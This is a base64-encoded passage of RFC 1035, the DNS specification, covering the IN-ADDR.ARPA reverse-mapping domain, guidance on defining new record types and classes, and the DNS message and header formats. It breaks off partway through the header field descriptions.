Cm9yIGRlY2ltYWwgbnVtYmVycy4KCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDIxXQoMClJGQyAxMDM1ICAgICAgICBEb21haW4gSW1wbGVtZW50YXRpb24gYW5kIFNwZWNpZmljYXRpb24gICAgTm92ZW1iZXIgMTk4NwoKCjMuNS4gSU4tQUREUi5BUlBBIGRvbWFpbgoKVGhlIEludGVybmV0IHVzZXMgYSBzcGVjaWFsIGRvbWFpbiB0byBzdXBwb3J0IGdhdGV3YXkgbG9jYXRpb24gYW5kCkludGVybmV0IGFkZHJlc3MgdG8gaG9zdCBtYXBwaW5nLiAgT3RoZXIgY2xhc3NlcyBtYXkgZW1wbG95IGEgc2ltaWxhcgpzdHJhdGVneSBpbiBvdGhlciBkb21haW5zLiAgVGhlIGludGVudCBvZiB0aGlzIGRvbWFpbiBpcyB0byBwcm92aWRlIGEKZ3VhcmFudGVlZCBtZXRob2QgdG8gcGVyZm9ybSBob3N0IGFkZHJlc3MgdG8gaG9zdCBuYW1lIG1hcHBpbmcsIGFuZCB0bwpmYWNpbGl0YXRlIHF1ZXJpZXMgdG8gbG9jYXRlIGFsbCBnYXRld2F5cyBvbiBhIHBhcnRpY3VsYXIgbmV0d29yayBpbiB0aGUKSW50ZXJuZXQuCgpOb3RlIHRoYXQgYm90aCBvZiB0aGVzZSBzZXJ2aWNlcyBhcmUgc2ltaWxhciB0byBmdW5jdGlvbnMgdGhhdCBjb3VsZCBiZQpwZXJmb3JtZWQgYnkgaW52ZXJzZSBxdWVyaWVzOyB0aGUgZGlmZmVyZW5jZSBpcyB0aGF0IHRoaXMgcGFydCBvZiB0aGUKZG9tYWluIG5hbWUgc3BhY2UgaXMgc3RydWN0dXJlZCBhY2NvcmRpbmcgdG8gYWRkcmVzcywgYW5kIGhlbmNlIGNhbgpndWFyYW50ZWUgdGhhdCB0aGUgYXBwcm9wcmlhdGUgZGF0YSBjYW4gYmUgbG9jYXRlZCB3aXRob3V0IGFuIGV4aGF1c3RpdmUKc2VhcmNoIG9mIHRoZSBkb21haW4gc3BhY2UuCgpUaGUgZG9tYWluIGJlZ2lucyBhdCBJTi1BRERSLkFSUEEgYW5kIGhhcyBhIHN1YnN0cnVjdHVyZSB3aGljaCBmb2xsb3dzCnRoZSBJbnRlcm5ldCBhZGRyZXNzaW5nIHN0cnVjdHVyZS4KCkRvbWFpbiBuYW1lcyBpbiB0aGUgSU4tQUREUi5BUlBBIGRvbWFpbiBhcmUgZGVmaW5lZCB0byBoYXZlIHVwIHRvIGZvdXIKbGFiZWxzIGluIGFkZGl0aW9uIHRvIHRoZSBJTi1BRERSLkFSUEEgc3VmZml4LiAgRWFjaCBsYWJlbCByZXByZXNlbnRzCm9uZSBvY3RldCBvZiBhbiBJbnRlcm5ldCBhZGRyZXNzLCBhbmQgaXMgZXhwcmVzc2VkIGFzIGEgY2hhcmFjdGVyIHN0cmluZwpmb3IgYSBkZWNpbWFsIHZhbHVlIGluIHRoZSByYW5nZSAwLTI1NSAod2l0aCBsZWFkaW5nIHplcm9zIG9taXR0ZWQKZXhjZXB0IGluIHRoZSBjYXNlIG9mIGEgemVybyBvY3RldCB3aGljaCBpcyByZXByZXNlbnRlZCBieSBhIHNpbmdsZQp6ZXJvKS4KCkhvc3QgYWRkcmVzc2VzIGFyZSByZXByZXNlbnRlZCBieSBkb21haW4gbmFtZXMgdGhhdCBoYXZlIGFsbCBmb3VyIGxhYmVscwpzcGVjaWZpZWQuICBUaHVzIGRhdGEgZm9yIEludGVybmV0IGFkZHJlc3MgMTAuMi4wLjUyIGlzIGxvY2F0ZWQgYXQKZG9tYWluIG5hbWUgNTIuMC4yLjEwLklOLUFERFIuQVJQQS4gIFRoZSByZXZlcnNhbCwgdGhvdWdoIGF3a3dhcmQgdG8KcmVhZCwgYWxsb3dzIHpvbmVzIHRvIGJlIGRlbGVnYXRlZCB3aGljaCBhcmUgZXhhY3RseSBvbmUgbmV0d29yayBvZgphZGRyZXNzIHNwYWNlLiAgRm9yIGV4YW1wbGUsIDEwLklOLUFERFIuQVJQQSBjYW4gYmUgYSB6b25lIGNvbnRhaW5pbmcKZGF0YSBmb3IgdGhlIEFSUEFORVQsIHdoaWxlIDI2LklOLUFERFIuQVJQQSBjYW4gYmUgYSBzZXBhcmF0ZSB6b25lIGZvcgpNSUxORVQuICBBZGRyZXNzIG5vZGVzIGFyZSB1c2VkIHRvIGhvbGQgcG9pbnRlcnMgdG8gcHJpbWFyeSBob3N0IG5hbWVzCmluIHRoZSBub3JtYWwgZG9tYWluIHNwYWNlLgoKTmV0d29yayBudW1iZXJzIGNvcnJlc3BvbmQgdG8gc29tZSBub24tdGVybWluYWwgbm9kZXMgYXQgdmFyaW91cyBkZXB0aHMKaW4gdGhlIElOLUFERFIuQVJQQSBkb21haW4sIHNpbmNlIEludGVybmV0IG5ldHdvcmsgbnVtYmVycyBhcmUgZWl0aGVyIDEsCjIsIG9yIDMgb2N0ZXRzLiAgTmV0d29yayBub2RlcyBhcmUgdXNlZCB0byBob2xkIHBvaW50ZXJzIHRvIHRoZSBwcmltYXJ5Cmhvc3QgbmFtZXMgb2YgZ2F0ZXdheXMgYXR0YWNoZWQgdG8gdGhhdCBuZXR3b3JrLiAgU2luY2UgYSBnYXRld2F5IGlzLCBieQpkZWZpbml0aW9uLCBvbiBtb3JlIHRoYW4gb25lIG5ldHdvcmssIGl0IHdpbGwgdHlwaWNhbGx5IGhhdmUgdHdvIG9yIG1vcmUKbmV0d29yayBub2RlcyB3aGljaCBwb2ludCBhdCBpdC4gIEdhdGV3YXlzIHdpbGwgYWxzbyBoYXZlIGhvc3QgbGV2ZWwKcG9pbnRlcnMgYXQgdGhlaXIgZnVsbHkgcXVhbGlmaWVkIGFkZHJlc3Nlcy4KCkJvdGggdGhlIGdhdGV3YXkgcG9pbnRlcnMgYXQgbmV0d29yayBub2RlcyBhbmQgdGhlIG5vcm1hbCBob3N0IHBvaW50ZXJzCmF0IGZ1bGwgYWRkcmVzcyBub2RlcyB1c2UgdGhlIFBUUiBSUiB0byBwb2ludCBiYWNrIHRvIHRoZSBwcmltYXJ5IGRvbWFpbgpuYW1lcyBvZiB0aGUgY29ycmVzcG9uZGluZyBob3N0cy4KCkZvciBleGFtcGxlLCB0aGUgSU4tQUREUi5BUlBBIGRvbWFpbiB3aWxsIGNvbnRhaW4gaW5mb3JtYXRpb24gYWJvdXQgdGhlCklTSSBnYXRld2F5IGJldHdlZW4gbmV0IDEwIGFuZCAyNiwgYW4gTUlUIGdhdGV3YXkgZnJvbSBuZXQgMTAgdG8gTUlUJ3MKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMjJdCgwKUkZDIDEwMzUgICAgICAgIERvbWFpbiBJbXBsZW1lbnRhdGlvbiBhbmQgU3BlY2lmaWNhdGlvbiAgICBOb3ZlbWJlciAxOTg3CgoKbmV0IDE4LCBhbmQgaG9zdHMgQS5JU0kuRURVIGFuZCBNVUxUSUNTLk1JVC5FRFUuICBBc3N1bWluZyB0aGF0IElTSQpnYXRld2F5IGhhcyBhZGRyZXNzZXMgMTAuMi4wLjIyIGFuZCAyNi4wLjAuMTAzLCBhbmQgYSBuYW1lIE1JTE5FVC0KR1cuSVNJLkVEVSwgYW5kIHRoZSBNSVQgZ2F0ZXdheSBoYXMgYWRkcmVzc2VzIDEwLjAuMC43NyBhbmQgMTguMTAuMC40CmFuZCBhIG5hbWUgR1cuTENTLk1JVC5FRFUsIHRoZSBkb21haW4gZGF0YWJhc2Ugd291bGQgY29udGFpbjoKCiAgICAxMC5JTi1BRERSLkFSUEEuICAgICAgICAgICBQVFIgTUlMTkVULUdXLklTSS5FRFUuCiAgICAxMC5JTi1BRERSLkFSUEEuICAgICAgICAgICBQVFIgR1cuTENTLk1JVC5FRFUuCiAgICAxOC5JTi1BRERSLkFSUEEuICAgICAgICAgICBQVFIgR1cuTENTLk1JVC5FRFUuCiAgICAyNi5JTi1BRERSLkFSUEEuICAgICAgICAgICBQVFIgTUlMTkVULUdXLklTSS5FRFUuCiAgICAyMi4wLjIuMTAuSU4tQUREUi5BUlBBLiAgICBQVFIgTUlMTkVULUdXLklTSS5FRFUuCiAgICAxMDMuMC4wLjI2LklOLUFERFIuQVJQQS4gICBQVFIgTUlMTkVULUdXLklTSS5FRFUuCiAgICA3Ny4wLjAuMTAuSU4tQUREUi5BUlBBLiAgICBQVFIgR1cuTENTLk1JVC5FRFUuCiAgICA0LjAuMTAuMTguSU4tQUREUi5BUlBBLiAgICBQVFIgR1cuTENTLk1JVC5FRFUuCiAgICAxMDMuMC4zLjI2LklOLUFERFIuQVJQQS4gICBQVFIgQS5JU0kuRURVLgogICAgNi4wLjAuMTAuSU4tQUREUi5BUlBBLiAgICAgUFRSIE1VTFRJQ1MuTUlULkVEVS4KClRodXMgYSBwcm9ncmFtIHdoaWNoIHdhbnRlZCB0byBsb2NhdGUgZ2F0ZXdheXMgb24gbmV0IDEwIHdvdWxkIG9yaWdpbmF0ZQphIHF1ZXJ5IG9mIHRoZSBmb3JtIFFUWVBFPVBUUiwgUUNMQVNTPUlOLCBRTkFNRT0xMC5JTi1BRERSLkFSUEEuICBJdAp3b3VsZCByZWNlaXZlIHR3byBSUnMgaW4gcmVzcG9uc2U6CgogICAgMTAuSU4tQUREUi5BUlBBLiAgICAgICAgICAgUFRSIE1JTE5FVC1HVy5JU0kuRURVLgogICAgMTAuSU4tQUREUi5BUlBBLiAgICAgICAgICAgUFRSIEdXLkxDUy5NSVQuRURVLgoKVGhlIHByb2dyYW0gY291bGQgdGhlbiBvcmlnaW5hdGUgUVRZUEU9QSwgUUNMQVNTPUlOIHF1ZXJpZXMgZm9yIE1JTE5FVC0KR1cuSVNJLkVEVS4gYW5kIEdXLkxDUy5NSVQuRURVLiB0byBkaXNjb3ZlciB0aGUgSW50ZXJuZXQgYWRkcmVzc2VzIG9mCnRoZXNlIGdhdGV3YXlzLgoKQSByZXNvbHZlciB3aGljaCB3YW50ZWQgdG8gZmluZCB0aGUgaG9zdCBuYW1lIGNvcnJlc3BvbmRpbmcgdG8gSW50ZXJuZXQKaG9zdCBhZGRyZXNzIDEwLjAuMC42IHdvdWxkIHB1cnN1ZSBhIHF1ZXJ5IG9mIHRoZSBmb3JtIFFUWVBFPVBUUiwKUUNMQVNTPUlOLCBRTkFNRT02LjAuMC4xMC5JTi1BRERSLkFSUEEsIGFuZCB3b3VsZCByZWNlaXZlOgoKICAgIDYuMC4wLjEwLklOLUFERFIuQVJQQS4gICAgIFBUUiBNVUxUSUNTLk1JVC5FRFUuCgpTZXZlcmFsIGNhdXRpb25zIGFwcGx5IHRvIHRoZSB1c2Ugb2YgdGhlc2Ugc2VydmljZXM6CiAgIC0gU2luY2UgdGhlIElOLUFERFIuQVJQQSBzcGVjaWFsIGRvbWFpbiBhbmQgdGhlIG5vcm1hbCBkb21haW4KICAgICBmb3IgYSBwYXJ0aWN1bGFyIGhvc3Qgb3IgZ2F0ZXdheSB3aWxsIGJlIGluIGRpZmZlcmVudCB6b25lcywKICAgICB0aGUgcG9zc2liaWxpdHkgZXhpc3RzIHRoYXQgdGhhdCB0aGUgZGF0YSBtYXkgYmUgaW5jb25zaXN0ZW50LgoKICAgLSBHYXRld2F5cyB3aWxsIG9mdGVuIGhhdmUgdHdvIG5hbWVzIGluIHNlcGFyYXRlIGRvbWFpbnMsIG9ubHkKICAgICBvbmUgb2Ygd2hpY2ggY2FuIGJlIHByaW1hcnkuCgogICAtIFN5c3RlbXMgdGhhdCB1c2UgdGhlIGRvbWFpbiBkYXRhYmFzZSB0byBpbml0aWFsaXplIHRoZWlyCiAgICAgcm91dGluZyB0YWJsZXMgbXVzdCBzdGFydCB3aXRoIGVub3VnaCBnYXRld2F5IGluZm9ybWF0aW9uIHRvCiAgICAgZ3VhcmFudGVlIHRoYXQgdGhleSBjYW4gYWNjZXNzIHRoZSBhcHByb3ByaWF0ZSBuYW1lIHNlcnZlci4KCiAgIC0gVGhlIGdhdGV3YXkgZGF0YSBvbmx5IHJlZmxlY3RzIHRoZSBleGlzdGVuY2Ugb2YgYSBnYXRld2F5IGluIGEKICAgICBtYW5uZXIgZXF1aXZhbGVudCB0byB0aGUgY3VycmVudCBIT1NUUy5UWFQgZmlsZS4gIEl0IGRvZXNuJ3QKICAgICByZXBsYWNlIHRoZSBkeW5hbWljIGF2YWlsYWJpbGl0eSBpbmZvcm1hdGlvbiBmcm9tIEdHUCBvciBFR1AuCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDIzXQoMClJGQyAxMDM1ICAgICAgICBEb21haW4gSW1wbGVtZW50YXRpb24gYW5kIFNwZWNpZmljYXRpb24gICAgTm92ZW1iZXIgMTk4NwoKCjMuNi4gRGVmaW5pbmcgbmV3IHR5cGVzLCBjbGFzc2VzLCBhbmQgc3BlY2lhbCBuYW1lc3BhY2VzCgpUaGUgcHJldmlvdXNseSBkZWZpbmVkIHR5cGVzIGFuZCBjbGFzc2VzIGFyZSB0aGUgb25lcyBpbiB1c2UgYXMgb2YgdGhlCmRhdGUgb2YgdGhpcyBtZW1vLiAgTmV3IGRlZmluaXRpb25zIHNob3VsZCBiZSBleHBlY3RlZC4gIFRoaXMgc2VjdGlvbgptYWtlcyBzb21lIHJlY29tbWVuZGF0aW9ucyB0byBkZXNpZ25lcnMgY29uc2lkZXJpbmcgYWRkaXRpb25zIHRvIHRoZQpleGlzdGluZyBmYWNpbGl0aWVzLiAgVGhlIG1haWxpbmcgbGlzdCBOQU1FRFJPUFBFUlNAU1JJLU5JQy5BUlBBIGlzIHRoZQpmb3J1bSB3aGVyZSBnZW5lcmFsIGRpc2N1c3Npb24gb2YgZGVzaWduIGlzc3VlcyB0YWtlcyBwbGFjZS4KCkluIGdlbmVyYWwsIGEgbmV3IHR5cGUgaXMgYXBwcm9wcmlhdGUgd2hlbiBuZXcgaW5mb3JtYXRpb24gaXMgdG8gYmUKYWRkZWQgdG8gdGhlIGRhdGFiYXNlIGFib3V0IGFuIGV4aXN0aW5nIG9iamVjdCwgb3Igd2UgbmVlZCBuZXcgZGF0YQpmb3JtYXRzIGZvciBzb21lIHRvdGFsbHkgbmV3IG9iamVjdC4gIERlc2lnbmVycyBzaG91bGQgYXR0ZW1wdCB0byBkZWZpbmUKdHlwZXMgYW5kIHRoZWlyIFJEQVRBIGZvcm1hdHMgdGhhdCBhcmUgZ2VuZXJhbGx5IGFwcGxpY2FibGUgdG8gYWxsCmNsYXNzZXMsIGFuZCB3aGljaCBhdm9pZCBkdXBsaWNhdGlvbiBvZiBpbmZvcm1hdGlvbi4gIE5ldyBjbGFzc2VzIGFyZQphcHByb3ByaWF0ZSB3aGVuIHRoZSBETlMgaXMgdG8gYmUgdXNlZCBmb3IgYSBuZXcgcHJvdG9jb2wsIGV0YyB3aGljaApyZXF1aXJlcyBuZXcgY2xhc3Mtc3BlY2lmaWMgZGF0YSBmb3JtYXRzLCBvciB3aGVuIGEgY29weSBvZiB0aGUgZXhpc3RpbmcKbmFtZSBzcGFjZSBpcyBkZXNpcmVkLCBidXQgYSBzZXBhcmF0ZSBtYW5hZ2VtZW50IGRvbWFpbiBpcyBuZWNlc3NhcnkuCgpOZXcgdHlwZXMgYW5kIGNsYXNzZXMgbmVlZCBtbmVtb25pY3MgZm9yIG1hc3RlciBmaWxlczsgdGhlIGZvcm1hdCBvZiB0aGUKbWFzdGVyIGZpbGVzIHJlcXVpcmVzIHRoYXQgdGhlIG1uZW1vbmljcyBmb3IgdHlwZSBhbmQgY2xhc3MgYmUgZGlzam9pbnQuCgpUWVBFIGFuZCBDTEFTUyB2YWx1ZXMgbXVzdCBiZSBhIHByb3BlciBzdWJzZXQgb2YgUVRZUEVzIGFuZCBRQ0xBU1NlcwpyZXNwZWN0aXZlbHkuCgpUaGUgcHJlc2VudCBzeXN0ZW0gdXNlcyBtdWx0aXBsZSBSUnMgdG8gcmVwcmVzZW50IG11bHRpcGxlIHZhbHVlcyBvZiBhCnR5cGUgcmF0aGVyIHRoYW4gc3RvcmluZyBtdWx0aXBsZSB2YWx1ZXMgaW4gdGhlIFJEQVRBIHNlY3Rpb24gb2YgYQpzaW5nbGUgUlIuICBUaGlzIGlzIGxlc3MgZWZmaWNpZW50IGZvciBtb3N0IGFwcGxpY2F0aW9ucywgYnV0IGRvZXMga2VlcApSUnMgc2hvcnRlci4gIFRoZSBtdWx0aXBsZSBSUnMgYXNzdW1wdGlvbiBpcyBpbmNvcnBvcmF0ZWQgaW4gc29tZQpleHBlcmltZW50YWwgd29yayBvbiBkeW5hbWljIHVwZGF0ZSBtZXRob2RzLgoKVGhlIHByZXNlbnQgc3lzdGVtIGF0dGVtcHRzIHRvIG1pbmltaXplIHRoZSBkdXBsaWNhdGlvbiBvZiBkYXRhIGluIHRoZQpkYXRhYmFzZSBpbiBvcmRlciB0byBpbnN1cmUgY29uc2lzdGVuY3kuICBUaHVzLCBpbiBvcmRlciB0byBmaW5kIHRoZQphZGRyZXNzIG9mIHRoZSBob3N0IGZvciBhIG1haWwgZXhjaGFuZ2UsIHlvdSBtYXAgdGhlIG1haWwgZG9tYWluIG5hbWUgdG8KYSBob3N0IG5hbWUsIHRoZW4gdGhlIGhvc3QgbmFtZSB0byBhZGRyZXNzZXMsIHJhdGhlciB0aGFuIGEgZGlyZWN0Cm1hcHBpbmcgdG8gaG9zdCBhZGRyZXNzLiAgVGhpcyBhcHByb2FjaCBpcyBwcmVmZXJyZWQgYmVjYXVzZSBpdCBhdm9pZHMKdGhlIG9wcG9ydHVuaXR5IGZvciBpbmNvbnNpc3RlbmN5LgoKSW4gZGVmaW5pbmcgYSBuZXcgdHlwZSBvZiBkYXRhLCBtdWx0aXBsZSBSUiB0eXBlcyBzaG91bGQgbm90IGJlIHVzZWQgdG8KY3JlYXRlIGFuIG9yZGVyaW5nIGJldHdlZW4gZW50cmllcyBvciBleHByZXNzIGRpZmZlcmVudCBmb3JtYXRzIGZvcgplcXVpdmFsZW50IGJpbmRpbmdzLCBpbnN0ZWFkIHRoaXMgaW5mb3JtYXRpb24gc2hvdWxkIGJlIGNhcnJpZWQgaW4gdGhlCmJvZHkgb2YgdGhlIFJSIGFuZCBhIHNpbmdsZSB0eXBlIHVzZWQuICBUaGlzIHBvbGljeSBhdm9pZHMgcHJvYmxlbXMgd2l0aApjYWNoaW5nIG11bHRpcGxlIHR5cGVzIGFuZCBkZWZpbmluZyBRVFlQRXMgdG8gbWF0Y2ggbXVsdGlwbGUgdHlwZXMuCgpGb3IgZXhhbXBsZSwgdGhlIG9yaWdpbmFsIGZvcm0gb2YgbWFpbCBleGNoYW5nZSBiaW5kaW5nIHVzZWQgdHdvIFJSCnR5cGVzIG9uZSB0byByZXByZXNlbnQgYSAiY2xvc2VyIiBleGNoYW5nZSAoTUQpIGFuZCBvbmUgdG8gcmVwcmVzZW50IGEKImxlc3MgY2xvc2UiIGV4Y2hhbmdlIChNRikuICBUaGUgZGlmZmljdWx0eSBpcyB0aGF0IHRoZSBwcmVzZW5jZSBvZiBvbmUKUlIgdHlwZSBpbiBhIGNhY2hlIGRvZXNuJ3QgY29udmV5IGFueSBpbmZvcm1hdGlvbiBhYm91dCB0aGUgb3RoZXIKYmVjYXVzZSB0aGUgcXVlcnkgd2hpY2ggYWNxdWlyZWQgdGhlIGNhY2hlZCBpbmZvcm1hdGlvbiBtaWdodCBoYXZlIHVzZWQKYSBRVFlQRSBvZiBNRiwgTUQsIG9yIE1BSUxBICh3aGljaCBtYXRjaGVkIGJvdGgpLiAgVGhlIHJlZGVzaWduZWQKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMjRdCgwKUkZDIDEwMzUgICAgICAgIERvbWFpbiBJbXBsZW1lbnRhdGlvbiBhbmQgU3BlY2lmaWNhdGlvbiAgICBOb3ZlbWJlciAxOTg3CgoKc2VydmljZSB1c2VkIGEgc2luZ2xlIHR5cGUgKE1YKSB3aXRoIGEgInByZWZlcmVuY2UiIHZhbHVlIGluIHRoZSBSREFUQQpzZWN0aW9uIHdoaWNoIGNhbiBvcmRlciBkaWZmZXJlbnQgUlJzLiAgSG93ZXZlciwgaWYgYW55IE1YIFJScyBhcmUgZm91bmQKaW4gdGhlIGNhY2hlLCB0aGVuIGFsbCBzaG91bGQgYmUgdGhlcmUuCgo0LiBNRVNTQUdFUwoKNC4xLiBGb3JtYXQKCkFsbCBjb21tdW5pY2F0aW9ucyBpbnNpZGUgb2YgdGhlIGRvbWFpbiBwcm90b2NvbCBhcmUgY2FycmllZCBpbiBhIHNpbmdsZQpmb3JtYXQgY2FsbGVkIGEgbWVzc2FnZS4gIFRoZSB0b3AgbGV2ZWwgZm9ybWF0IG9mIG1lc3NhZ2UgaXMgZGl2aWRlZAppbnRvIDUgc2VjdGlvbnMgKHNvbWUgb2Ygd2hpY2ggYXJlIGVtcHR5IGluIGNlcnRhaW4gY2FzZXMpIHNob3duIGJlbG93OgoKICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICB8ICAgICAgICBIZWFkZXIgICAgICAgfAogICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIHwgICAgICAgUXVlc3Rpb24gICAgICB8IHRoZSBxdWVzdGlvbiBmb3IgdGhlIG5hbWUgc2VydmVyCiAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwogICAgfCAgICAgICAgQW5zd2VyICAgICAgIHwgUlJzIGFuc3dlcmluZyB0aGUgcXVlc3Rpb24KICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICB8ICAgICAgQXV0aG9yaXR5ICAgICAgfCBSUnMgcG9pbnRpbmcgdG93YXJkIGFuIGF1dGhvcml0eQogICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIHwgICAgICBBZGRpdGlvbmFsICAgICB8IFJScyBob2xkaW5nIGFkZGl0aW9uYWwgaW5mb3JtYXRpb24KICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0rCgpUaGUgaGVhZGVyIHNlY3Rpb24gaXMgYWx3YXlzIHByZXNlbnQuICBUaGUgaGVhZGVyIGluY2x1ZGVzIGZpZWxkcyB0aGF0CnNwZWNpZnkgd2hpY2ggb2YgdGhlIHJlbWFpbmluZyBzZWN0aW9ucyBhcmUgcHJlc2VudCwgYW5kIGFsc28gc3BlY2lmeQp3aGV0aGVyIHRoZSBtZXNzYWdlIGlzIGEgcXVlcnkgb3IgYSByZXNwb25zZSwgYSBzdGFuZGFyZCBxdWVyeSBvciBzb21lCm90aGVyIG9wY29kZSwgZXRjLgoKVGhlIG5hbWVzIG9mIHRoZSBzZWN0aW9ucyBhZnRlciB0aGUgaGVhZGVyIGFyZSBkZXJpdmVkIGZyb20gdGhlaXIgdXNlIGluCnN0YW5kYXJkIHF1ZXJpZXMuICBUaGUgcXVlc3Rpb24gc2VjdGlvbiBjb250YWlucyBmaWVsZHMgdGhhdCBkZXNjcmliZSBhCnF1ZXN0aW9uIHRvIGEgbmFtZSBzZXJ2ZXIuICBUaGVzZSBmaWVsZHMgYXJlIGEgcXVlcnkgdHlwZSAoUVRZUEUpLCBhCnF1ZXJ5IGNsYXNzIChRQ0xBU1MpLCBhbmQgYSBxdWVyeSBkb21haW4gbmFtZSAoUU5BTUUpLiAgVGhlIGxhc3QgdGhyZWUKc2VjdGlvbnMgaGF2ZSB0aGUgc2FtZSBmb3JtYXQ6IGEgcG9zc2libHkgZW1wdHkgbGlzdCBvZiBjb25jYXRlbmF0ZWQKcmVzb3VyY2UgcmVjb3JkcyAoUlJzKS4gIFRoZSBhbnN3ZXIgc2VjdGlvbiBjb250YWlucyBSUnMgdGhhdCBhbnN3ZXIgdGhlCnF1ZXN0aW9uOyB0aGUgYXV0aG9yaXR5IHNlY3Rpb24gY29udGFpbnMgUlJzIHRoYXQgcG9pbnQgdG93YXJkIGFuCmF1dGhvcml0YXRpdmUgbmFtZSBzZXJ2ZXI7IHRoZSBhZGRpdGlvbmFsIHJlY29yZHMgc2VjdGlvbiBjb250YWlucyBSUnMKd2hpY2ggcmVsYXRlIHRvIHRoZSBxdWVyeSwgYnV0IGFyZSBub3Qgc3RyaWN0bHkgYW5zd2VycyBmb3IgdGhlCnF1ZXN0aW9uLgoKCgoKCgoKCgoKCgpNb2NrYXBldHJpcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbUGFnZSAyNV0KDApSRkMgMTAzNSAgICAgICAgRG9tYWluIEltcGxlbWVudGF0aW9uIGFuZCBTcGVjaWZpY2F0aW9uICAgIE5vdmVtYmVyIDE5ODcKCgo0LjEuMS4gSGVhZGVyIHNlY3Rpb24gZm9ybWF0CgpUaGUgaGVhZGVyIGNvbnRhaW5zIHRoZSBmb2xsb3dpbmcgZmllbGRzOgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMSAgMSAgMSAgMSAgMSAgMQogICAgICAwICAxICAyICAzICA0ICA1ICA2ICA3ICA4ICA5ICAwICAxICAyICAzICA0ICA1CiAgICArLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rCiAgICB8ICAgICAgICAgICAgICAgICAgICAgIElEICAgICAgICAgICAgICAgICAgICAgICB8CiAgICArLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rCiAgICB8UVJ8ICAgT3Bjb2RlICB8QUF8VEN8UkR8UkF8ICAgWiAgICB8ICAgUkNPREUgICB8CiAgICArLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rCiAgICB8ICAgICAgICAgICAgICAgICAgICBRRENPVU5UICAgICAgICAgICAgICAgICAgICB8CiAgICArLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rCiAgICB8ICAgICAgICAgICAgICAgICAgICBBTkNPVU5UICAgICAgICAgICAgICAgICAgICB8CiAgICArLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rCiAgICB8ICAgICAgICAgICAgICAgICAgICBOU0NPVU5UICAgICAgICAgICAgICAgICAgICB8CiAgICArLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rCiAgICB8ICAgICAgICAgICAgICAgICAgICBBUkNPVU5UICAgICAgICAgICAgICAgICAgICB8CiAgICArLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rCgp3aGVyZToKCklEICAgICAgICAgICAgICBBIDE2IGJpdCBpZGVudGlmaWVyIGFzc2lnbmVkIGJ5IHRoZSBwcm9ncmFtIHRoYXQKICAgICAgICAgICAgICAgIGdlbmVyYXRlcyBhbnkga2luZCBvZiBxdWVyeS4gIFRoaXMgaWRlbnRpZmllciBpcyBjb3BpZWQKICAgICAgICAgICAgICAgIHRoZSBjb3JyZXNwb25kaW5nIHJlcGx5IGFuZCBjYW4gYmUgdXNlZCBieSB0aGUgcmVxdWVzdGVyCiAgICAgICAgICAgICAgICB0byBtYXRjaCB1cCByZXBsaWVzIHRvIG91dHN0YW5kaW5nIHF1ZXJpZXMuCgpRUiAgICAgICAgICAgICAgQSBvbmUgYml0IGZpZWxkIHRoYXQgc3BlY2lmaWVzIHdoZXRoZXIgdGhpcyBtZXNzYWdlIGlzIGEKICAgICAgICAgICAgICAgIHF1ZXJ5ICgwKSwgb3IgYSByZXNwb25zZSAoMSkuCgpPUENPREUgICAgICAgICAgQSBmb3VyIGJpdCBmaWVsZCB0aGF0IHNwZWNpZmllcyBraW5kIG9mIHF1ZXJ5IGluIHRoaXMKICAgICAgICAgICAgICAgIG1lc3NhZ2UuICBUaGlzIHZhbHVlIGlzIHNldCBieSB0aGUgb3JpZ2luYXRvciBvZiBhIHF1ZXJ5CiAgICAgICAgICAgICAgICBhbmQgY29waWVkIGludG8gdGhlIHJlc3BvbnNlLiAgVGhlIHZhbHVlcyBhcmU6CgogICAgICAgICAgICAgICAgMCAgICAgICAgICAgICAgIGEgc3RhbmRhcmQgcXVlcnkgKFFVRVJZKQoKICAgICAgICAgICAgICAgIDEgICAgICAgICAgICAgICBhbiBpbnZlcnNlIHF1ZXJ5IChJUVVFUlkpCgogICAgICAgICAgICAgICAgMiAgICAgICAgICAgICAgIGEgc2VydmVyIHN0YXR1cyByZXF1ZXN0IChTVEFUVVMpCgogICAgICAgICAgICAgICAgMy0xNSAgICAgICAgICAgIHJlc2VydmVkIGZvciBmdXR1cmUgdXNlCgpBQSAgICAgICAgICAgICAgQXV0aG9yaXRhdGl2ZSBBbnN3ZXIgLSB0aGlzIGJpdCBpcyB2YWxpZCBpbiByZXNwb25zZXMsCiAgICAgICAgICAgICAgICBhbmQgc3BlY2lmaWVzIHRoYXQgdGhlIHJlc3BvbmRpbmcgbmFtZSBzZXJ2ZXIgaXMgYW4KICAgICAgICAgICAgICAgIGF1dGhvcml0eSBmb3IgdGhlIGRvbWFpbiBuYW1lIGluIHF1ZXN0aW9uIHNlY3Rpb24uCgogICAgICAgICAgICAgICAgTm90ZSB0aGF